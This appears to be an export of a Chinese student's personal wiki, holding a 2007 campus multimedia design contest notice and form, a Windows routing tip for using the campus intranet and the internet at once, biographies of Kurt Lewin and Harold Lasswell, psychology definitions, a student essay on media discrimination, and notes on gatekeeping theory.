由各类别专业教师及专家组成评奖委员会，同时按照《关于组织参加各类学科竞赛若干规定的通知（浙大城院发教〔2003〕57号）》中的有关规定对获奖队员进行奖励。优秀作品选送省大学生多媒体作品设计竞赛或向各委托机构和单位推荐。\n\n\n 浙江大学城市学院教务部\n 浙江大学城市学院传媒与人文艺术学院\n 浙江大学城市学院计算机与计算科学学院\n\n 附件：1．[[参赛报名表]]\n 2．[[参赛各类作品具体要求]]
现在可以带电脑来了，但是同学们会发现要上内网必须先断外网，十分麻烦。是否有同时上内网和外网的方法呢？答案是，有的。\n在桌面点右键新建一个快捷方式，在目标中输入：\n<<<\nroute add 10.0.0.0 mask 255.0.0.0 10.62.13.1\n<<<\n这个命令表示把内网的10.0.0.0路由到网关 10.62.13.1上。\n这样每次先点连接上了内网，再点这个快捷方式就可以同时上内网和外网了。\n当然，还有更方便的方法，让你一开机就同时连上内网外网。\n你需要下载安装一个超强的小工具，[[nircmd]]，它可以干的事可多了，命令行下拨号只是其中之一。\n然后，新建一个.bat文件，内容如下:\n<<<\n@echo off\n%windir%\snircmd.exe rasdial "1"\n%windir%\ssystem32\sroute.exe add 10.0.0.0 mask 255.0.0.0 10.62.13.1\nend\n<<<\n其中"1"是你外网连接的名称，改成你自己的就可以了。\n把这个bat文件放在启动里，^_^，一切ok。\n@@color(red):北校区的同学注意，这里的10.62.13.1是网关的地址，比如你的内网ip是10.61.1.102，那么你的网关地址就得改为10.61.1.1@@
思考和记忆等内部心理活动。
Kurt Zadek Lewin (September 9, 1890 - February 12, 1947), a German-born psychologist, became one of the pioneers of social psychology. Often called "the father of social psychology"[[社会心理学之父]] and one of the first researchers to study group dynamics[[群体动力论]] and organizational development, he advocated Gestalt psychology.\n\nLewin became associated with the early Frankfurt School, originated by an influential group of largely Jewish Marxists at the Institute for Social Research in Germany. But when Hitler came to power in Germany in 1933 the Institute members had to disband, moving to England and America. In that year, he met with Eric Trist, of the London Tavistock Clinic, whom he impressed with his theories, which Trist went on to use in his studies on soldiers during the second world war.\n\nWhile working with a group at MIT in 1946, Lewin received a phone call from the Director of the Connecticut State Inter Racial Commission, requesting his help in finding an effective way to combat racial and religious prejudices. He set up a workshop to conduct a 'change'[[劝服]] experiment, which laid the foundations for what is now known as sensitivity training. This led to the establishment, in 1947, of the National Training Laboratories, at Bethel, Maine. Carl Rogers wrote of sensitivity training as "perhaps the most significant social invention of this century."\n\nFollowing the second world war Lewin was involved, along with Dr Jacob Fine at Harvard Medical School, in the psychological rehabilitation of former occupants of displaced persons camps. When Eric Trist, and A T M Wilson wrote to him proposing the establishment of a journal in partnership between their newly founded Tavistock Institute and his group at MIT, Lewin agreed, and the Tavistock Journal Human Relations was founded, with two early papers by Lewin entitled "Frontiers in Group Dynamics".\n\nLewin coined the notion of genidentity (1922), which has gained some importance in various theories of space-time and related fields. He also proposed Herbert Blumer's interactionist perspective of 1937 as an alternative to the nature versus nurture debate, in that he suggested that neither nature (inborn tendencies) nor nurture (how experiences in life shape individuals) alone can account for individuals' behavior and personalities, but rather that both nature and nurture interact to shape each person. Prominent psychologists mentored by Kurt Lewin included Leon Festinger (1919 - 1989), who became known for his cognitive dissonance theory (1956), environmental psychologist Roger Barker, and Bluma Zeigarnik.\n\nBiography\n\nBorn in 1890 into a Jewish family in Mogilno, Poland (then in County of Mogilno, province of Posen, Prussia). Lewin joined the German armed forces when World War I began. But due to a war wound, he completed his Ph.D., with Carl Stumpf (1848 - 1936) as the supervisor of his doctoral thesis.\n\nLewin emigrated to the United States in August 1933 and became a naturalized citizen in 1940. He died in Newtonville, Massachusetts of a heart-attack in 1947. He was buried in his home town.\n\n!Impact on organizational development\n\n* Action research\n* Force field analysis[[场论]]\n* Gatekeeping[[守门人理论]]\n\n!Bibliography\n\n* Marrow, Alfred J. The Practical Theorist: The Life and Work of Kurt Lewin (1969, 1984) ISBN 0-934698-22-8 (Marrow studied as one of Lewin's students)\n* White, Ralph K., and Ronald O. Lippitt, Autocracy and Democracy (1960, 1972) ISBN 0-8371-5710-2 (White and Lippitt carried out the research described here under Lewin as their thesis-advisor; Marrow's book also briefly describes the same work in chapter 12.)\n* Weisbord, Marvin R., Productive Workplaces Revisited (2004) ISBN 0-7879-7117-0 (Chapters 4: Lewin: the Practical Theorist, Chapter 5: The Learning Organization: Lewin's Legacy to Management.)\n\n!See also\n\nEcological Systems Theory\n\n!Influenced\n\n* Fritz Perls\n* M. Pat Korb\n* Brian J. Mistler\n* Eric Trist\n\n!External links\n\n* The Kurt Lewin Center for Psychological Research at Kazimierz Wielki University\n* International Conference on "Kurt Lewin: Contribution to Contemporary Psychology"\n* Kurt Lewin at World of Biography\n* Kurt Lewin: groups, experiential learning and action research\n* Kurt Lewin (biography and overview of theory)\n* Kurt Lewin Foundation (an NGO - promoting tolerance)\n* Kurt Lewin Institute (A graduate student training institute in Social Psychology in the Netherlands)\n\nThis article about a psychologist is a stub. You can help Wikipedia by expanding it.
[[勒温]]
附件二：\n参赛各类作品具体要求\n一、课件设计作品规范：\n 长度：最小单位为一堂课内容，不作上限 \n 内容容量：能表达完整的内容 \n 空间容量：以一张光盘容量为上限（700M），不作下限要求。 \n 格式：可执行文件 \n 学科：不限但须明确 \n 适用对象：不限但须明确 \n 环境要求：Windows平台下能正常运行 \n 安装：安装/卸载方法简便易用，带有课件运行时所需的且现行浏览器中不支持的附加插件。 \n\n二、网站设计作品规范：\n 内容容量：能表现完整的主题 \n 空间容量：以一张光盘容量为限（700M），不作下限 \n 格式：HTML/ASP/ASPX/JSP/PHP \n 主题：不限但须明确 \n 环境要求：Windows平台下能正常运行 \n 安装：JSP/PHP附带运行环境安装软件 \n\n三、动漫设计作品规范：\n 长度：10秒～5分钟 \n 内容容量：能表现完整的主题 \n 空间容量：以一张光盘容量为限（700M），不作下限 \n 格式：MPGE/AVI/MOV/SWF \n 主题：不限但须明确 \n 环境要求：Windows平台下能正常运行 \n 安装：特殊编码附带插件 \n\n四、平面设计作品规范：\n 尺寸：A3单幅或系列 (其中标识作品A4，标识大小10cm×10cm，需用cmyk标注色彩；封面设计为大16开21cm×28.5cm，海报设计为大对开57cm×84cm)\n 分辨率：300ppi \n 内容容量：能表现完整的主题 \n 空间容量：以一张光盘容量为限（700M），不作下限 \n 格式：JPEG/PSD\n 主题：不限但须明确 \n 环境要求：Windows平台下能正常运行，并提供源文件（可压缩），注明其所用主要软件的版本号\n\n五、DV设计作品规范：\n 主题：题目、形式不限，内容健康，思想进步，必须符合国家的政策法规；主题明了，作品新颖独特。 \n 格式：作品片头字幕需注明参赛作品名称，片尾字幕注明主创人员名单。至少提供中文字幕，提倡中英文字幕。 \n 长度：5～15分钟以内 \n 内容容量：能表达完整的内容\n
<html>\n<head>\n<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">\n<title></title>\n<meta http-equiv="CONTENT-TYPE" content="text/html; charset=utf-8">\n<meta name="GENERATOR" content="OpenOffice.org 2.1 (Linux)">\n<meta name="AUTHOR" content="jwbhjg">\n<meta name="CREATED" content="20070510;20480000">\n<meta name="CHANGEDBY" content="*">\n<meta name="CHANGED" content="20070510;20480000">\n<title>附件一：</title>\n<link type="text/css" href="styles/editor.css" rel="stylesheet" id=\n"stylesheetforeditor">\n<style type="text/css" id="styletagforeditor">\nbody { border: 0px; font-family:verdana; font-size :10pt;}\n</style>\n\n<style type="text/css" id="styletagtwoforeditor">\ntable { font-size: 10pt;} p { margin-top:0px; margin-bottom:0px; }\n</style>\n\n<style type="text/css">\n <!--\n @page { size: 8.27in 11.69in; margin-right: 1.25in; margin-top: 1in; margin-bottom: 1in }\n P { margin-bottom: 0.08in; direction: ltr; color: #000000; text-align: justify; widows: 0; orphans: 0 }\n P.western { font-family: "Times New Roman", serif; font-size: 10pt; so-language: en-US }\n P.cjk { font-family: "宋体", "SimSun"; font-size: 10pt; so-language: zh-CN }\n P.ctl { font-family: "Times New Roman", serif; font-size: 12pt; so-language: ar-SA }\n -->\n \n</style>\n</head>\n<body>\n<p class="western" style="margin-bottom: 0in;"><font face=\n"宋体, SimSun"><span lang="zh-CN">附件一：</span></font></p>\n\n<p class="western" style="margin-bottom: 0in;" align="center"><font\nstyle="font-size: 16pt;" size="4"><b><font face=\n"宋体, SimSun">2007“</font></b></font><font face="宋体, SimSun"><span\nlang="zh-CN"><font style="font-size: 16pt;" size=\n"4"><b>西博杯”浙江大学城市学院</b><font face=\n"黑体, SimHei">多媒体作品设计竞赛</font></font></span></font></p>\n\n<p class="western" style="margin-bottom: 0in;" align="center"><font\nface="黑体, SimHei"><font style="font-size: 20pt;" size="5"><span\nlang="zh-CN"><b>参赛报名表</b></span></font></font></p>\n\n<p class="western" style="margin-bottom: 0in;" align="center"><br>\n</p>\n\n<table border="1" bordercolor="#000000" cellpadding="8"\ncellspacing="0" width="676">\n<col width="173">\n<col width="132">\n<col width="108">\n<col width="197">\n<tbody>\n<tr valign="top">\n<td width="173">\n<p class="western" style=\n"margin-left: 0.45in; margin-top: 0.08in; widows: 2; orphans: 2;">\n<font face="黑体, SimHei"><font size="3"><span lang=\n"zh-CN">作品名称</span></font></font></p>\n</td>\n<td colspan="3" width="469">\n\n<p class="western" style=\n"text-indent: 0.89in; widows: 2; orphans: 2;"><br>\n</p>\n</td>\n</tr>\n\n<tr valign="top">\n<td width="173">\n<p class="western" style=\n"margin-left: 0.44in; margin-top: 0.08in; widows: 2; orphans: 2;">\n<font face="黑体, SimHei"><font size="3"><span lang=\n"zh-CN">作品类别</span></font></font></p>\n</td>\n<td colspan="3" width="469">\n<p class="western" style=\n"margin-left: 0.23in; margin-top: 0.08in; widows: 2; orphans: 2;">\n<font face="宋体, SimSun"><span lang="zh-CN"><font style=\n"font-size: 9pt;" size="2">口平面设计 口动画设计 口课件设计 口网站设计\n口</font></span></font><font style="font-size: 9pt;" size="2"><font\nface="宋体, SimSun">DV</font></font><font face="宋体, SimSun"><span\nlang="zh-CN"><font style="font-size: 9pt;" size=\n"2">设计</font></span></font></p>\n\n</td>\n</tr>\n\n<tr valign="top">\n<td width="173">\n<p class="western" style=\n"margin-left: 0.16in; margin-top: 0.08in; widows: 2; orphans: 2;">\n<font face="宋体, SimSun"><span lang="zh-CN"><font size="3"><font\nface="黑体, SimHei">软件平台</font></font></span></font><font size=\n"3"><font face="黑体, SimHei">(</font></font><font face=\n"宋体, SimSun"><span lang="zh-CN"><font size="3"><font face=\n"黑体, SimHei">非</font></font></span></font><font size="3"><font\nface="黑体, SimHei">DV)</font></font></p>\n</td>\n<td colspan="3" width="469">\n<p class="western" style="widows: 2; orphans: 2;"><font face=\n"宋体, SimSun"><span lang="zh-CN"><font style="font-size: 9pt;" size=\n"2">口</font></span></font><font size="3">Windows2000</font> <font\nface="宋体, SimSun"><span lang="zh-CN"><font style="font-size: 9pt;"\nsize="2">口</font></span></font><font size="3">photoshop 7</font>\n\n<font face="宋体, SimSun"><span lang="zh-CN"><font style=\n"font-size: 9pt;" size="2">口</font></span></font><font size=\n"3">3dmax5.0</font> <font face="宋体, SimSun"><span lang=\n"zh-CN"><font style="font-size: 9pt;" size=\n"2">口</font></span></font><font size="3">Lightscape3.2</font></p>\n</td>\n</tr>\n\n<tr valign="top">\n<td width="173">\n<p class="western" style=\n"margin-left: 0.15in; margin-top: 0.08in; widows: 2; orphans: 2;">\n<font face="宋体, SimSun"><span lang="zh-CN"><font size="3"><font\nface="黑体, SimHei">作品类别</font></font></span></font><font size=\n"3"><font face="黑体, SimHei">(DV</font></font><font face=\n"宋体, SimSun"><span lang="zh-CN"><font size="3"><font face=\n"黑体, SimHei">类</font></font></span></font><font size="3"><font\nface="黑体, SimHei">)</font></font></p>\n\n</td>\n<td colspan="3" width="469">\n<p class="western" style=\n"margin-left: 0.76in; margin-top: 0.07in; widows: 2; orphans: 2;">\n<font face="宋体, SimSun"><span lang="zh-CN"><font style=\n"font-size: 9pt;" size="2">口新闻纪录片 口艺术剧情片\n口其它</font></span></font></p>\n</td>\n</tr>\n\n<tr valign="top">\n<td width="173">\n<p class="western" style=\n"text-indent: 0.5in; margin-top: 0.08in; widows: 2; orphans: 2;">\n<font face="黑体, SimHei"><font size="3"><span lang=\n"zh-CN">作者姓名</span></font></font></p>\n</td>\n<td colspan="3" width="469">\n<p class="western" align="center"><br>\n</p>\n\n</td>\n</tr>\n\n<tr valign="top">\n<td width="173">\n<p class="western" style=\n"text-indent: 0.5in; margin-top: 0.08in; widows: 2; orphans: 2;">\n<font face="黑体, SimHei"><font size="3"><span lang=\n"zh-CN">专业班级</span></font></font></p>\n</td>\n<td colspan="3" width="469">\n<p class="western" align="center"><br>\n</p>\n</td>\n</tr>\n\n<tr>\n<td width="173">\n\n<p class="western" style=\n"margin-left: 0.58in; margin-top: 0.08in; widows: 2; orphans: 2;">\n<font face="黑体, SimHei"><font size="3"><span lang=\n"zh-CN">电话</span></font></font></p>\n</td>\n<td valign="top" width="132">\n<p class="western" style="widows: 2; orphans: 2;"><br>\n</p>\n</td>\n<td valign="top" width="108">\n<p class="western" style=\n"margin-top: 0.02in; margin-bottom: 0in; widows: 2; orphans: 2;">\n<font face="黑体, SimHei"><span lang="zh-CN">其他联系方式</span></font></p>\n\n<p class="western" style=\n"text-indent: 0.15in; margin-top: 0.04in; widows: 2; orphans: 2;">\n<font face="黑体, SimHei">(</font><font face="宋体, SimSun"><span lang=\n"zh-CN"><font face="黑体, SimHei">如</font></span></font><font face=\n"黑体, SimHei">E-mail)</font></p>\n\n</td>\n<td valign="top" width="197">\n<p class="western" align="center"><br>\n</p>\n</td>\n</tr>\n\n<tr>\n<td colspan="4" height="525" valign="top" width="658">\n<p class="western" style="margin-bottom: 0in;"><font face=\n"黑体, SimHei"><font size="3"><span lang=\n"zh-CN">设计说明：</span></font></font></p>\n\n<p class="western" style="margin-bottom: 0in;"><br>\n</p>\n\n<p class="western" style="margin-bottom: 0in;"><br>\n</p>\n\n<p class="western" style="margin-bottom: 0in;"><br>\n</p>\n\n<p class="western" style="margin-bottom: 0in;"><br>\n</p>\n\n<p class="western" style="margin-bottom: 0in;"><br>\n</p>\n\n<p class="western" style="margin-bottom: 0in;"><br>\n</p>\n\n<p class="western" style="margin-bottom: 0in;"><br>\n</p>\n\n<p class="western" style="margin-bottom: 0in;"><br>\n\n</p>\n\n<p class="western" style="margin-bottom: 0in;"><br>\n</p>\n\n<p class="western" style="margin-bottom: 0in;"><br>\n</p>\n\n<p class="western" style="margin-bottom: 0in;"><br>\n</p>\n\n<p class="western" style="margin-bottom: 0in;"><br>\n</p>\n\n<p class="western" style="margin-bottom: 0in;"><br>\n</p>\n\n<p class="western" style="margin-bottom: 0in;"><br>\n</p>\n\n<p class="western" style="margin-bottom: 0in;"><br>\n</p>\n\n<p class="western"><br>\n</p>\n</td>\n</tr>\n</tbody>\n</table>\n\n<p class="western" style="margin-bottom: 0in;"><br>\n</p>\n</body>\n</html>\n\n
Harold Dwight Lasswell (February 13, 1902 — December 18, 1978) was a leading American political scientist and communications theorist. He was a member of the Chicago school of sociology and was a student at Yale University in political science. Along with other influential liberals of the period, such as Walter Lippmann, he argued that democracies needed propaganda to keep the uninformed citizenry in agreement with what the specialized class had determined was in their best interests. As he wrote in his entry on propaganda for the Encyclopaedia of the Social Sciences, we must put aside "democratic dogmatisms about men being the best judges of their own interests" since "men are often poor judges of their own interests, flitting from one alternative to the next without solid reason". [1]\n\nHe is well known for his comment on communications:\n\n>Who (says) What (to) Whom (in) What Channel (with) What Effect\n\nand on politics:\n\n>Politics is who gets what, when, where, and how.\n\nLasswell's model of communications is significantly different from those of engineers, including Claude Shannon, and his notion of channel is also different, since it includes different types of media. For example, newspapers, magazines, journals and books are all text media, but are assumed to have different distribution and readership, and hence different effects.\n\nLasswell studied at the University of Chicago in the 1920s, and was highly influenced by the pragmatism taught there, especially as propounded by John Dewey and George Herbert Mead. More influential, however, was Freudian philosophy, which informed much of his analysis of propaganda and communication in general. During World War II, Lasswell held the position of Chief of the Experimental Division for the Study of War Time Communications at the Library of Congress. Always forward-looking, late in his life, Lasswell experimented with questions concerning astropolitics, the political consequences of colonization of other planets, and the "machinehood of humanity."\n\nLasswell's work was important in the post-World War II development of behavioralism.\n\n!Major works\n\n* Propaganda Technique in the World War (1927; Reprinted with a new introduction, 1971)\n* World Politics and Personal Insecurity (1935; Reprinted with a new introduction, 1965)\n* Politics: Who Gets What, When, How (1935)\n* "The Garrison State" (1941)\n* Power and Personality (1948)\n
可观察到的行为和反应。
大众传播（Mass communication）是一种信息传播方式。根据Gerhard Maletzke的定义，大众传播须符合以下特征：\n\n*公开的（受众不为人际交往范围所囿）\n*利用科技发送手段\n*间接的（在发送者与受众之间存在时间空间距离）\n*单向的（在发送者与受众之间不发生角色互换）\n**网络等新媒体的出现，改变了大众传播的单向性，互动性是网络传播的得最显著特征。\n*面向分散的群体（受众是匿名的，无阶层和群组之分）。\n
<html>\n<meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <head> <style>\nBODY, P, DIV, H1, H2, H3, H4, H5, H6, ADDRESS, OL, UL, LI, TITLE, TD, OPTION, SELECT {\n font-family: Verdana;\n \n}\n\nBODY, P, DIV, ADDRESS, OL, UL, LI, TITLE, TD, OPTION, SELECT { \n font-size: 10.0pt;\n margin-top:0pt; \n margin-bottom:0pt; \n} \n\nBODY, P {\n margin-left:0pt; \n margin-right:0pt;\n}\n\nBODY {\n line-height: ;\n background: white;\n margin: 6px;\n padding: 0px;\n}\n\nh6 { font-size: 10pt }\nh5 { font-size: 11pt }\nh4 { font-size: 12pt }\nh3 { font-size: 13pt }\nh2 { font-size: 14pt }\nh1 { font-size: 16pt }\n\nblockquote {padding: 10px; border: 1px #DDDDDD dashed }\n\na img {border: 0}\n\n</style> </head> <body revision="dwzp4jv_32dhx6wq:105"> <h2 style=TEXT-ALIGN:center>\n <font size=5><span style="FONT-FAMILY:SimHei,黑体,MS Hei,sans-serif">\n 媒介歧视观察</span></font>\n</h2>\n各种歧视是长期并且普遍存在的,种族歧视,性别歧视,贫困歧视或者乙肝歧视等歧视类型是我吗最熟悉的. 但是我们并没有在中国媒体中产生这些问题直接映像.\n相反我们经常能看到对这些歧视的抨击. 这是不是说明我们的媒体不存在其实问题呢?<br>\n<br>\n我们媒体的歧视现象是隐性的, 一来是由于我们国家特殊的新闻制度, 二来我们国家的某些歧视现象过于普遍, 以致大众相对麻木,没有觉察其中的歧视和危害.\n比较明显的是媒体中男性为主导的现象. 虽然许多记者主持人是女性,但其实舆论的口径一直以来都是带有偏见的. 比如新闻中的专家评论员和广告中的演员性别.\n前者突出了男性的权威, 后者则主要迎合男性的高经济地位这一偏见. 还有一些不太明显的歧视, 一些报道看似中立, 其实暗含特殊化区别化的歧视导向.\n比如一些罪案的报道中对犯罪嫌疑人的歧视. 我国在这方面做得很不好, 不管是媒体还是大众在嫌疑人被捕时就倾向有罪推定. 而且一些报道追求故事性,\n把诸如凶杀案嫌疑人形容成“疯汉”、“人魔”、“狂人”. 而不去深究其中的社会意义和悲剧根源. 而许多案件歧视和精神疾病有关,\n比如有专家就怀疑马加爵，丘兴华的犯罪行为和精神疾病有关. 而大多数媒体更喜欢"杀人恶魔正法, 百姓拍手称快"的风格. 但是这样的的导向本身是有问题的.<br>\n\n<br>\n心理学和社会学上对媒体歧视的成因和影响有许多解释,以下列举一些我认为可能的合理解释.<br>\n<h3>\n 榜样\n</h3>\n按照班杜拉的观点,许多技能包括普遍使用的一些规则是通过观察学习习得的,这种习得需要大量的强化.\n但是据统计一个人从出生到中学毕业为止,平均看电视的时间是15000小时, 而上课时间也仅为11000小时. 如果媒体具有某种歧视性导向的话,\n这些时间足够形成社会性的歧视和偏见.<br>\n<h3>\n 转移的攻击行为\n</h3>\n攻击行为是出现最多的挫折反应之一. 与真正的挫折来源相比,目标转移后的攻击对象实施报复的可能性比较小.\n因而可以以此解释为何发现受歧视的群体多是弱势群体和少数派.<br>\n<h3>\n 标签\n\n</h3>\n斯托勒(Stoller)曾经说过:"当一个人被贴上标签后,如"精神病", "神经质", "领导"等,\n不管这个标签是自己贴上的还是别人贴的,都会把他自己对自己的认识, 和别人对他的看法局限在那个角色上. 我认为这可以解释一些地域性歧视和职业歧视的现象.<br>\n<h3>\n 从众行为\n</h3>\n日常生活中最为常见的可能就是受群体压力而表现出的从众行为. 无论什么团体, "从众"都是基本的规范. 对集体的绝对服从导致了许多种族清洗和大屠杀的惨案.\n由于当事人有责任扩散的感觉, 即使有些做法明显是错的, 其内疚感也可以减轻.<br>\n<h3>\n 服从\n</h3>\n如果说从众是是由于间接压力而产生的, 那么服从就是由直接的的压力而不得不顺从. 在对一些重大刑事犯罪的报道中记者的自由思辨就遭到这种力量的抑制.\n其实历史证明,只要有足够多的意志坚强的人敢于坚持真理, 就能使更多的人不被一意孤行地的权威带入歧途.<br>\n<h3>\n 逆向歧视\n\n</h3>\n这是一种思考方式, 比如我们国家对少数民族有许多优惠政策. 一些人人会这么想: 这对大部分人不公平. 当然, 这是一种狭隘的想法.<br>\n<h3>\n 偶然条件作用\n</h3>\n在所有导致歧视态度的因素里, 最有影响力的可能就是偶然条件作用. 当然, 它看起来可能并不是那么偶然. 比如你连续三次被回族模样的小偷偷窃,\n或者被河南籍的朋友欺骗. 你就可能给同一特征的人贴上标签. 这样的歧视在人际传播中最容易放大. 而如果在大众传播中有表现的话, 影响就更大了.\n比如某些媒体在抢案里强调东北籍贯, 其导致隐性的影响不容忽视.<br>\n<h3>\n 投射\n</h3>\n推射在教材里有所体现,主要是通过夸大别人的问题而转移个体或群体对自己问题的注意以减轻焦虑.<br>\n<br>\n<h2>\n\n 对策:\n</h2>\n坚持文化平等,文化本无好坏,应该接受人类的多样性,不同种族民族的人都应该有相同的社会地位. 打破传统偏见,不随便把人归类. 这会使你评判一个人,而不是一类人.\n这对消除歧视至关重要. 使信息个体化,在你不了解一个人的时候不以刻版思维猜测.不要被世界公平论误导,一些群体的社会地位低下并不是由于其自身缺陷,\n而可能正是由于歧视性待遇而造成的. 不要让这样的恶性循环继续, 媒体在这方面是最有影响力的. 警惕自实现预言的消极影响, 如果你正是被歧视的群体,\n切不要索性随着他们的刻版印象去做了, 这会强化他们的刻版印象, 陷入另一种恶性循环. 与我不同不意味比我差, 不管是媒体或受众, 不要进行社会竞争.\n比如中华民族勤劳勇敢更加优越, 或者中华民族勤劳古板更加低劣. 一个自尊心强的群体不需要通过比较而而使自己感觉良好.求同存异, 正视群体差异, 避免文化差异.<br>\n<br>\n<div style=TEXT-ALIGN:right>\n 30607067<br>\n 高晟<br>\n 2007.4.23<br>\n</div>\n\n<br>\n<br></body>\n</html>
媒体素养（Media Literacy）是指在各类处境中存取、理解及产制媒体讯息的能力。“媒体素养教育”或“媒体教育”有别于培养媒体从业人员的媒体专业教育，教育对象的主体是全体公民，教育目标在于培养全民具备思辨与产制资讯的能力，可以以批判性的角度去解读媒体信息。\n\n国际上许多国家如英国、加拿大、澳洲等，早已把媒体教育纳入正规教育体系中，例如根据新西兰英语课程纲要，他们的学生在五年级时就已加入媒体素养的培训。而亚洲的台湾、日本、香港也持续关心媒体教育的需求：台湾已在2002年由教育部公布《媒体素养教育政策白皮书》。日本文部科学省于2001年在中小学与高中设立“综合教育”科目，也纳入了媒体素养。香港亦自1997年教育改革时开始推动媒体教育，由民间非营利性的教育协会或基金会担任媒体教育的运动核心，发展教材、培训师资及游说政府教育部门；而自2005年推行的英语新课程及2007年推行的中文新课程，亦纳入了媒体素养。
!Gatekeeping\n\n>regulate the flow of information\n\n!History and Orientation\n\nKurt Lewin was apparently the first one to use the term "gatekeeping," which he used to describe a wife or mother as the person who decides which foods end up on the family's dinner table. (Lewin, 1947). The gatekeeper is the person who decides what shall pass through each gate section, of which, in any process, there are several. Although he applied it originally to the food chain, he then added that the gating process can include a news item winding through communication channels in a group. This is the point from which most gatekeeper studies in communication are launched. White (1961) was the person who seized upon Lewin's comments and turned it solidly toward journalism in 1950. In the 1970s McCombs and Shaw took a different direction when they looked at the effects of gatekeepers' decisions. They found the audience learns how much importance to attach to a news item from the emphasis the media place on it. McCombs and Shaw pointed out that the gatekeeping concept is related to the newer concept, agenda-setting. (McCombs et al, 1976). The gatekeeper concept is now 50 years old and has slipped into the language of many disciplines, including gatekeeping in organizations.\n\n!Core Assumptions and Statements\n\nThe gatekeeper decides which information will go forward, and which will not. In other words a gatekeeper in a social system decides which of a certain commodity – materials, goods, and information – may enter the system. Important to realize is that gatekeepers are able to control the public’s knowledge of the actual events by letting some stories pass through the system but keeping others out. Gatekeepers can also be seen as institutions or organizations. In a political system there are gatekeepers, individuals or institutions which control access to positions of power and regulate the flow of information and political influence. Gatekeepers exist in many jobs, and their choices hold the potential to color mental pictures that are subsequently created in people’s understanding of what is happening in the world around them. Media gatekeeping showed that decision making is based on principles of news values, organizational routines, input structure and common sense. Gatekeeping is vital in communication planning and almost al communication planning roles include some aspect of gatekeeping.\n\nThe gatekeeper’s choices are a complex web of influences, preferences, motives and common values. Gatekeeping is inevitable and in some circumstances it can be useful. Gatekeeping can also be dangerous, since it can lead to an abuse of power by deciding what information to discard and what to let pass. Nevertheless, gatekeeping is often a routine, guided by some set of standard questions.\n\n!Conceptual Model\n\n[img[conceptual model|http://www.tcw.utwente.nl/theorieenoverzicht/Theory%20clusters/Media,%20Culture%20and%20Society/gatekeeping.doc/gatekeeping-1.gif]]\n\nSource: White (1964)\n\nRelated to gatekeeping in media. For gatekeeping in organizations this model is not recommended.\n\n!Favorite Methods\n\nInterviews, surveys, networkanalysis.\n\n!Scope and Application\n\nThis theory is related to the mass media and organizations. In the mass media the focus is on the organizational structure of newsrooms and events. Gatekeeping is also an important in organizations, since employees and management are using ways of influence.\n\n!Example\n\nA wire service editor decides alone what news audiences will receive from another continent. The idea is that if the gatekeeper’s selections are biased, the readers’ understanding will therefore be a little biased.\n\nSee Wenig for example on gatekeeping in organizations.\n\n!References\n\n!Key publications\n\nWhite, David Manning. (1964). "The 'Gatekeeper': A Case Study In the Selection of News, In: Lewis A. Dexter / David M. White (Hrsg.): People, Society and Mass Communications. London S. 160 - 172. "\n\nWenig,\n\nSnider, P.B. (1967). “'Mr.Gates; revisited: A 1966 version of the 1949 case study,” Journalism Quarterly 44 (3):419-427.\n\nBerkowitz, D (1990). “Refining the gatekeeping metaphor for local television news,” Journal of Broadcasting & Electronic Media 34 (1)55-68.\n\nCarpenter, Edmund, "The New Languages," in Exploration in Communication, eds. Edmund Carpenter and Marshall McLuhan (Boston: Beacon Press, 1960).\n\nKrol, Ed, The Whole Internet, (Sebastopol, CA: O'Reilly and Associates, Inc., 1992).\n\nLaQuey, Tracy and Jeanne C. Ryder, The Internet Companion: A Beginner's Guide to Global Networking, (Reading Massachusetts: Addison-Wesley Publishing Company, 1992).\n\nEng, Paul and Julie Tilsners, "Up all night with the Internet," Business Week, no. 3357, p. 14, February 7, 1994.\n\n"Inside Internet," MacLean's, January 7, 1994, p 45.\n\nLewin, Kurt, "Frontiers in Group Dynamics," Human Relations, v. 1, no. 2, 1947, p. 145.\n\nBleske, Glen L., "Ms. Gates Takes Over: an updated version of a 1949 case study," Newspaper Research Journal, v. 12 no. 4 pp. 88-97.\n\nBass, Abraham A, "Redefining the 'gatekeeper' concept: a U.N. Radio case study, Journalism Quarterly, 46: 59-72 (Spring, 1969).\n\nBuckalew, James K., "A Q-Analysis of television news editors' decision, Journalism Quarterly, 46: 135-37 (Spring 1969).\n\nMcCombs, Maxwell E. and Donald L. Shaw, "Structuring the unseen environment," Journal of Communication, v. 26 no. 2, pp. 18-22 (Winter, 1976).\n\nWillis, Jim, "Editors, readers and news judgement," Editor and Publisher, v. 120, no. 6, pp. 14-15 (February 7, 1987).\n\nDimmick, John, "The gate-keeper: An uncertainty theory," Journalism Monographs, no. 37, 1974.
指假的药丸和针剂在实验对象身上产生暗示性效果.\n如注射生理盐水的止痛效果相当于吗啡的70%.\n\n对策:\n[[双盲实验]]
实验者无意识影响引起被试者行为上的变化.
通过描述普遍的行为特点使人以为描述是准确的。
市场营销（Marketing）又称为市场行销或行销学。营销的概念源自市场，即考虑企业的发展与消费者、竞争者、政府、社会甚至全球的环境如何息息相关，生生不息。是一项企业管理的技术工具。在不同的行业和不同的发展阶段，运用不同的理念，或者整合企业所有资源优势进行物竞天择，适者生存。\n\n
